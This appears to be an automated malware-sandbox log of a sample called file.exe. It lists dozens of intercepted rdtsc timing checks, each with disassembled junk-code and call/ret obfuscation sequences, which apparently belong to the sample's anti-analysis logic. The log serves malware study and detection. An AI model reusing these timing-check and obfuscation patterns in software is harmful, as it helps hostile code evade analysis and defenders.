Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7659D3 second address: 7659F0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F632C74B8E0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 pop edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 765F6F second address: 765F74 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 765F74 second address: 765F95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F632C74B8E0h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 jo 00007F632C74B8D6h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 765F95 second address: 765FA7 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F632D23A036h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jnl 00007F632D23A03Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 765FA7 second address: 76601C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 nop 0x00000006 call 00007F632C74B8DDh 0x0000000b sbb ebx, 3228860Bh 0x00000011 pop edi 0x00000012 push 00000000h 0x00000014 pushad 0x00000015 mov di, dx 0x00000018 jc 00007F632C74B8DCh 0x0000001e popad 0x0000001f push 00000000h 0x00000021 jmp 00007F632C74B8E7h 0x00000026 xchg eax, esi 0x00000027 push esi 0x00000028 jmp 00007F632C74B8DEh 0x0000002d pop esi 0x0000002e push eax 0x0000002f push eax 0x00000030 push edx 0x00000031 pushad 0x00000032 jmp 00007F632C74B8E3h 0x00000037 ja 00007F632C74B8D6h 0x0000003d popad 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 767F1B second address: 767F29 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 767F29 second address: 767F2D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 767211 second address: 767215 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 767F2D second address: 767F33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 767F33 second address: 767FA3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b push ecx 0x0000000c mov bx, 2F7Eh 0x00000010 pop ebx 0x00000011 push 00000000h 0x00000013 push 00000000h 0x00000015 push edx 0x00000016 call 00007F632D23A038h 0x0000001b pop edx 0x0000001c mov dword ptr [esp+04h], edx 0x00000020 add dword ptr [esp+04h], 00000018h 0x00000028 inc edx 0x00000029 push edx 0x0000002a ret 0x0000002b pop edx 0x0000002c ret 0x0000002d mov di, cx 0x00000030 mov edi, 5581A4DCh 0x00000035 mov di, 0B48h 0x00000039 push 00000000h 0x0000003b push 00000000h 0x0000003d push esi 0x0000003e call 00007F632D23A038h 0x00000043 pop esi 0x00000044 mov dword ptr [esp+04h], esi 0x00000048 add dword ptr [esp+04h], 0000001Ah 0x00000050 inc esi 0x00000051 push esi 0x00000052 ret 0x00000053 pop esi 0x00000054 ret 0x00000055 mov bx, cx 0x00000058 mov ebx, 60423A97h 0x0000005d push eax 0x0000005e push ebx 0x0000005f push ebx 0x00000060 push eax 0x00000061 push edx 0x00000062 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 768F0F second address: 768F15 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 768160 second address: 768165 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76C15A second address: 76C169 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c pushad 0x0000000d popad 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71C158 second address: 71C15E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71C15E second address: 71C164 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71C164 second address: 71C171 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F632D23A038h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71C171 second address: 71C179 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76E665 second address: 76E66B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76E66B second address: 76E66F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76E81E second address: 76E822 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7705E3 second address: 7705F9 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 pushad 0x00000008 popad 0x00000009 pop esi 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d pushad 0x0000000e jns 00007F632C74B8D6h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76F799 second address: 76F80D instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 mov bx, cx 0x0000000c push dword ptr fs:[00000000h] 0x00000013 push 00000000h 0x00000015 push edi 0x00000016 call 00007F632D23A038h 0x0000001b pop edi 0x0000001c mov dword ptr [esp+04h], edi 0x00000020 add dword ptr [esp+04h], 0000001Bh 0x00000028 inc edi 0x00000029 push edi 0x0000002a ret 0x0000002b pop edi 0x0000002c ret 0x0000002d mov dword ptr fs:[00000000h], esp 0x00000034 je 00007F632D23A039h 0x0000003a movzx ebx, di 0x0000003d mov eax, dword ptr [ebp+122D0A05h] 0x00000043 and ebx, dword ptr [ebp+122D36D3h] 0x00000049 push FFFFFFFFh 0x0000004b sub dword ptr [ebp+122D1C08h], edx 0x00000051 push eax 0x00000052 push eax 0x00000053 push edx 0x00000054 jmp 00007F632D23A047h 0x00000059 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76F80D second address: 76F812 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 772706 second address: 772719 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007F632D23A03Dh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77197F second address: 771985 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7728A3 second address: 7728A7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7728A7 second address: 77293B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jo 00007F632C74B8D8h 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f nop 0x00000010 push 00000000h 0x00000012 push edi 0x00000013 call 00007F632C74B8D8h 0x00000018 pop edi 0x00000019 mov dword ptr [esp+04h], edi 0x0000001d add dword ptr [esp+04h], 00000017h 0x00000025 inc edi 0x00000026 push edi 0x00000027 ret 0x00000028 pop edi 0x00000029 ret 0x0000002a ja 00007F632C74B8DEh 0x00000030 push dword ptr fs:[00000000h] 0x00000037 mov dword ptr [ebp+122D2A97h], eax 0x0000003d mov dword ptr fs:[00000000h], esp 0x00000044 mov dword ptr [ebp+1247B324h], edi 0x0000004a mov eax, dword ptr [ebp+122D0E15h] 0x00000050 push 00000000h 0x00000052 push edx 0x00000053 call 00007F632C74B8D8h 0x00000058 pop edx 0x00000059 mov dword ptr [esp+04h], edx 0x0000005d add dword ptr [esp+04h], 0000001Ch 0x00000065 inc edx 0x00000066 push edx 0x00000067 ret 0x00000068 pop edx 0x00000069 ret 0x0000006a mov bl, F7h 0x0000006c push FFFFFFFFh 0x0000006e mov bx, si 0x00000071 nop 0x00000072 push eax 0x00000073 push edx 0x00000074 pushad 0x00000075 jnp 00007F632C74B8D6h 0x0000007b push eax 0x0000007c push edx 0x0000007d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77293B second address: 772940 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 773A7D second address: 773AF9 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F632C74B8D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push edi 0x00000010 call 00007F632C74B8D8h 0x00000015 pop edi 0x00000016 mov dword ptr [esp+04h], edi 0x0000001a add dword ptr [esp+04h], 00000014h 0x00000022 inc edi 0x00000023 push edi 0x00000024 ret 0x00000025 pop edi 0x00000026 ret 0x00000027 push dword ptr fs:[00000000h] 0x0000002e push 00000000h 0x00000030 push eax 0x00000031 call 00007F632C74B8D8h 0x00000036 pop eax 0x00000037 mov dword ptr [esp+04h], eax 0x0000003b add dword ptr [esp+04h], 00000019h 0x00000043 inc eax 0x00000044 push eax 0x00000045 ret 0x00000046 pop eax 0x00000047 ret 0x00000048 mov dword ptr fs:[00000000h], esp 0x0000004f jbe 00007F632C74B8D8h 0x00000055 mov ebx, esi 0x00000057 mov eax, dword ptr [ebp+122D0ADDh] 0x0000005d add bh, FFFFFFD9h 0x00000060 push FFFFFFFFh 0x00000062 sub dword ptr [ebp+1246032Fh], esi 0x00000068 nop 0x00000069 push eax 0x0000006a push edx 0x0000006b push eax 0x0000006c push edx 0x0000006d jc 00007F632C74B8D6h 0x00000073 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 773AF9 second address: 773B03 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F632D23A036h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 773B03 second address: 773B09 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 773B09 second address: 773B0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 773B0D second address: 773B1F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jc 00007F632C74B8DEh 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7759BF second address: 7759C6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 774AEB second address: 774B08 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F632C74B8E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 776B48 second address: 776B4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 776BE0 second address: 776BFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F632C74B8E3h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 776DBF second address: 776DC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 776DC4 second address: 776DCA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77F683 second address: 77F69B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 jne 00007F632D23A036h 0x0000000f push edi 0x00000010 pop edi 0x00000011 jbe 00007F632D23A036h 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77FA8B second address: 77FA8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77FA8F second address: 77FA93 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78397D second address: 783993 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F632C74B8E2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 760514 second address: 760525 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 je 00007F632D23A048h 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78A5CB second address: 78A5CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78A5CF second address: 78A5E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F632D23A040h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78A5E5 second address: 78A5EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7246AA second address: 7246B3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 789338 second address: 78934A instructions: 0x00000000 rdtsc 0x00000002 jo 00007F632C74B8D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jne 00007F632C74B8DCh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78934A second address: 789351 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 789351 second address: 789380 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F632C74B8E4h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c popad 0x0000000d pushad 0x0000000e push ebx 0x0000000f jmp 00007F632C74B8DBh 0x00000014 pop ebx 0x00000015 push edi 0x00000016 push ebx 0x00000017 pop ebx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 789380 second address: 78939A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F632D23A041h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78939A second address: 78939E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78939E second address: 7893CA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jns 00007F632D23A036h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F632D23A048h 0x00000013 jng 00007F632D23A036h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 789A8E second address: 789AB1 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F632C74B8D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d jno 00007F632C74B8D6h 0x00000013 js 00007F632C74B8D6h 0x00000019 popad 0x0000001a pop edi 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 popad 0x00000021 push edx 0x00000022 pop edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 789AB1 second address: 789AB5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 789AB5 second address: 789AED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F632C74B8E8h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push esi 0x0000000c jmp 00007F632C74B8E8h 0x00000011 pop esi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 789AED second address: 789AF3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 789C4E second address: 789C53 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 789C53 second address: 789C59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 789DB5 second address: 789DC0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push ebx 0x00000006 pop ebx 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 789F1F second address: 789F4F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jns 00007F632D23A036h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edi 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 jmp 00007F632D23A03Ah 0x00000017 pushad 0x00000018 popad 0x00000019 popad 0x0000001a jmp 00007F632D23A041h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 789F4F second address: 789F5C instructions: 0x00000000 rdtsc 0x00000002 jno 00007F632C74B8D8h 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78A301 second address: 78A30B instructions: 0x00000000 rdtsc 0x00000002 jne 00007F632D23A036h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78A30B second address: 78A317 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78A317 second address: 78A324 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push ecx 0x00000006 jl 00007F632D23A036h 0x0000000c pop ecx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78A324 second address: 78A330 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jc 00007F632C74B8D6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78A330 second address: 78A334 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78E80C second address: 78E835 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 ja 00007F632C74B8FCh 0x0000000d jmp 00007F632C74B8DBh 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F632C74B8DFh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78EC10 second address: 78EC43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 pop ecx 0x00000008 pushad 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c jc 00007F632D23A036h 0x00000012 pushad 0x00000013 popad 0x00000014 popad 0x00000015 jmp 00007F632D23A040h 0x0000001a pushad 0x0000001b pushad 0x0000001c popad 0x0000001d pushad 0x0000001e popad 0x0000001f popad 0x00000020 push eax 0x00000021 push edx 0x00000022 jnp 00007F632D23A036h 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78EF00 second address: 78EF19 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007F632C74B8D6h 0x0000000a jmp 00007F632C74B8DFh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78EF19 second address: 78EF33 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F632D23A046h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 740B27 second address: 740B3D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F632C74B8E2h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 740B3D second address: 740B43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 717174 second address: 71717A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71717A second address: 717197 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jnc 00007F632D23A03Ah 0x0000000b push eax 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jo 00007F632D23A036h 0x00000017 push eax 0x00000018 pop eax 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 793381 second address: 793393 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnc 00007F632C74B8DCh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 763C79 second address: 763C7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 763C7D second address: 763C83 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7641F3 second address: 7641F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7641F7 second address: 7641FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 764855 second address: 764859 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 764C67 second address: 764CBB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F632C74B8E4h 0x00000009 popad 0x0000000a pop esi 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push esi 0x0000000f call 00007F632C74B8D8h 0x00000014 pop esi 0x00000015 mov dword ptr [esp+04h], esi 0x00000019 add dword ptr [esp+04h], 0000001Bh 0x00000021 inc esi 0x00000022 push esi 0x00000023 ret 0x00000024 pop esi 0x00000025 ret 0x00000026 movzx edi, bx 0x00000029 lea eax, dword ptr [ebp+124877B0h] 0x0000002f pushad 0x00000030 stc 0x00000031 popad 0x00000032 nop 0x00000033 pushad 0x00000034 push eax 0x00000035 push edx 0x00000036 jns 00007F632C74B8D6h 0x0000003c rdtsc
